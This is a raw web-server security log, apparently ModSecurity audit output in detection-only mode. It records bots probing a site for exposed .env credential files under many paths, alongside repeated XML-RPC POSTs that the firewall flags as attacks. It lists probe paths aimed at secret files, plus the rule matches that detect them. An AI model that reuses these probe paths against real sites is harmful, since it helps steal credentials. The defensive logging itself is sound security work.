[tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/core/.env"] [unique_id "aE9KJ_NXjUHq-Wm7C_8U7QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026791647337 671057 (- - -) Stopwatch2: 1750026791647337 671057; combined=1755, p1=395, p2=1222, p3=0, p4=0, p5=137, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f7ff1354-Z-- --f16a8512-A-- [16/Jun/2025:04:03:14.904576 +0530] aE9KKvNXjUHq-Wm7C_8U7gAAAAQ 185.177.72.210 46644 127.0.0.1 7081 --f16a8512-B-- GET /:10000/app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f16a8512-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a30b2c5d601e807bbb655bae7331d5b21750026794; expires=Sun, 15 Jun 2025 23:33:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f16a8512-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/app/config/.env"] [unique_id "aE9KKvNXjUHq-Wm7C_8U7gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026794231476 673173 (- - -) Stopwatch2: 1750026794231476 673173; combined=1333, p1=308, p2=936, p3=0, p4=0, p5=88, sr=74, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f16a8512-Z-- --f0064825-A-- [16/Jun/2025:04:03:17.593420 +0530] aE9KLOB8H_qdtV-ppzUUxwAAAAI 185.177.72.210 46812 127.0.0.1 7081 --f0064825-B-- GET /blue/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f0064825-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b77730356e1c05ca602ca98da2a80c241750026797; expires=Sun, 15 Jun 2025 23:33:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f0064825-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/blue/.env"] [unique_id "aE9KLOB8H_qdtV-ppzUUxwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026796941008 652472 (- - -) Stopwatch2: 1750026796941008 652472; combined=1631, p1=378, p2=1172, p3=0, p4=0, p5=80, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f0064825-Z-- --97dee64e-A-- [16/Jun/2025:04:03:26.132672 +0530] aE9KNX2GhYywD7zZgx4A8wAAAAM 185.177.72.210 56448 127.0.0.1 7081 --97dee64e-B-- GET /.c9/metadata/ambienzinhoironment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --97dee64e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0cd9801bd66afd2dcd12e66cd8de5c881750026805; expires=Sun, 15 Jun 2025 23:33:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --97dee64e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.c9/metadata/ambienzinhoironment/.env"] [unique_id "aE9KNX2GhYywD7zZgx4A8wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026805438508 694239 (- - -) Stopwatch2: 1750026805438508 694239; combined=1770, p1=362, p2=1288, p3=0, p4=0, p5=120, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97dee64e-Z-- --d6655459-A-- [16/Jun/2025:04:03:39.751472 +0530] aE9KQuB8H_qdtV-ppzUU0QAAAAI 185.177.72.210 40430 127.0.0.1 7081 --d6655459-B-- GET /wps/PA_WCM_Authoring_UI/proxy/https/example.com HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d6655459-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d494fa9f1175b88f46fc57ec77819e521750026819; expires=Sun, 15 Jun 2025 23:33:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d6655459-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wps/PA_WCM_Authoring_UI/proxy/https/example.com"] [unique_id "aE9KQuB8H_qdtV-ppzUU0QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026818974930 776608 (- - -) Stopwatch2: 1750026818974930 776608; combined=155379, p1=357, p2=1382, p3=0, p4=0, p5=76856, sr=109, sw=0, l=0, gc=76784 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d6655459-Z-- --0fba2877-A-- [16/Jun/2025:04:03:40.641463 +0530] aE9KQxAGYpjnkyifC9YnBQAAAAU 185.177.72.210 48386 127.0.0.1 7081 --0fba2877-B-- GET /:5601/.env.5 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0fba2877-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b3718d931ed16bf778cde2f76e93f5c81750026820; expires=Sun, 15 Jun 2025 23:33:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0fba2877-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.5"] [unique_id "aE9KQxAGYpjnkyifC9YnBQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026819995924 645602 (- - -) Stopwatch2: 1750026819995924 645602; combined=2544, p1=530, p2=1919, p3=0, p4=0, p5=95, sr=129, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0fba2877-Z-- --f8165e62-A-- [16/Jun/2025:04:04:04.180836 +0530] aE9KWxAGYpjnkyifC9YnDwAAAAU 128.199.112.101 58558 127.0.0.1 7081 --f8165e62-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f8165e62-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f8165e62-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9KWxAGYpjnkyifC9YnDwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026843137510 1043383 (- - -) Stopwatch2: 1750026843137510 1043383; combined=2231, p1=397, p2=1417, p3=53, p4=70, p5=183, sr=113, sw=111, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f8165e62-Z-- --ec1f7831-A-- [16/Jun/2025:04:04:13.655941 +0530] aE9KZFxTdrwJSUMoZvGxPgAAAAc 185.177.72.210 58122 127.0.0.1 7081 --ec1f7831-B-- GET /:8000/admin/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ec1f7831-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4bd2051908e7a9b308bf9feb796c26571750026853; expires=Sun, 15 Jun 2025 23:34:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ec1f7831-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/admin/.env.production"] [unique_id "aE9KZFxTdrwJSUMoZvGxPgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026852910085 745922 (- - -) Stopwatch2: 1750026852910085 745922; combined=154022, p1=364, p2=1271, p3=0, p4=0, p5=76243, sr=94, sw=1, l=0, gc=76143 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec1f7831-Z-- --07c8813c-A-- [16/Jun/2025:04:04:43.858110 +0530] aE9Kg1R6EeXjkGzEkblrwgAAAAs 185.177.72.210 35516 127.0.0.1 7081 --07c8813c-B-- GET /:8000/app/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --07c8813c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f67b1d306ebe8fc673c75d25c407359e1750026883; expires=Sun, 15 Jun 2025 23:34:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --07c8813c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/app/konfig/.env"] [unique_id "aE9Kg1R6EeXjkGzEkblrwgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026883202370 655803 (- - -) Stopwatch2: 1750026883202370 655803; combined=1909, p1=454, p2=1342, p3=0, p4=0, p5=112, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --07c8813c-Z-- --564ba815-A-- [16/Jun/2025:04:05:00.681842 +0530] aE9KlPNXjUHq-Wm7C_8VIAAAAAQ 185.177.72.210 47600 127.0.0.1 7081 --564ba815-B-- GET /logs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --564ba815-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a7b020cfed7ecea331518b9f384689701750026900; expires=Sun, 15 Jun 2025 23:35:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --564ba815-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/logs/.env"] [unique_id "aE9KlPNXjUHq-Wm7C_8VIAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026900010348 671557 (- - -) Stopwatch2: 1750026900010348 671557; combined=1785, p1=347, p2=1341, p3=0, p4=0, p5=96, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --564ba815-Z-- --6e63752f-A-- [16/Jun/2025:04:05:04.630401 +0530] aE9Klx-kH31pk4mNbsVF1QAAAAo 128.199.112.101 47750 127.0.0.1 7081 --6e63752f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 507 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6e63752f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6e63752f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Klx-kH31pk4mNbsVF1QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026903680389 950066 (- - -) Stopwatch2: 1750026903680389 950066; combined=2077, p1=363, p2=1384, p3=34, p4=52, p5=153, sr=98, sw=91, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e63752f-Z-- --1f6b680d-A-- [16/Jun/2025:04:06:01.987119 +0530] aE9K0RAGYpjnkyifC9YnSAAAAAU 185.177.72.210 43258 127.0.0.1 7081 --1f6b680d-B-- GET /:8181/api/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1f6b680d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6d37d54e2f213819109a505f3e23a35d1750026961; expires=Sun, 15 Jun 2025 23:36:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1f6b680d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/api/.env.staging"] [unique_id "aE9K0RAGYpjnkyifC9YnSAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026961190415 796788 (- - -) Stopwatch2: 1750026961190415 796788; combined=1879, p1=369, p2=1393, p3=0, p4=0, p5=116, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1f6b680d-Z-- --28907650-A-- [16/Jun/2025:04:06:03.052841 +0530] aE9K0n2GhYywD7zZgx4BPAAAAAM 185.177.72.210 43310 127.0.0.1 7081 --28907650-B-- GET /static/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --28907650-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6d891a738af128d89c8a90bcb0b5c9f01750026962; expires=Sun, 15 Jun 2025 23:36:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --28907650-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/static/.env"] [unique_id "aE9K0n2GhYywD7zZgx4BPAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026962354860 698052 (- - -) Stopwatch2: 1750026962354860 698052; combined=1713, p1=372, p2=1245, p3=0, p4=0, p5=95, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --28907650-Z-- --7956d566-A-- [16/Jun/2025:04:06:04.543341 +0530] aE9K0xAGYpjnkyifC9YnSQAAAAU 128.199.112.101 43384 127.0.0.1 7081 --7956d566-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7956d566-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7956d566-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9K0xAGYpjnkyifC9YnSQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026963565996 977401 (- - -) Stopwatch2: 1750026963565996 977401; combined=2561, p1=532, p2=1682, p3=45, p4=59, p5=154, sr=140, sw=89, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7956d566-Z-- --09be5d22-A-- [16/Jun/2025:04:06:05.218601 +0530] aE9K1FR6EeXjkGzEkblr5QAAAAs 185.177.72.210 43406 127.0.0.1 7081 --09be5d22-B-- GET /:10000/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 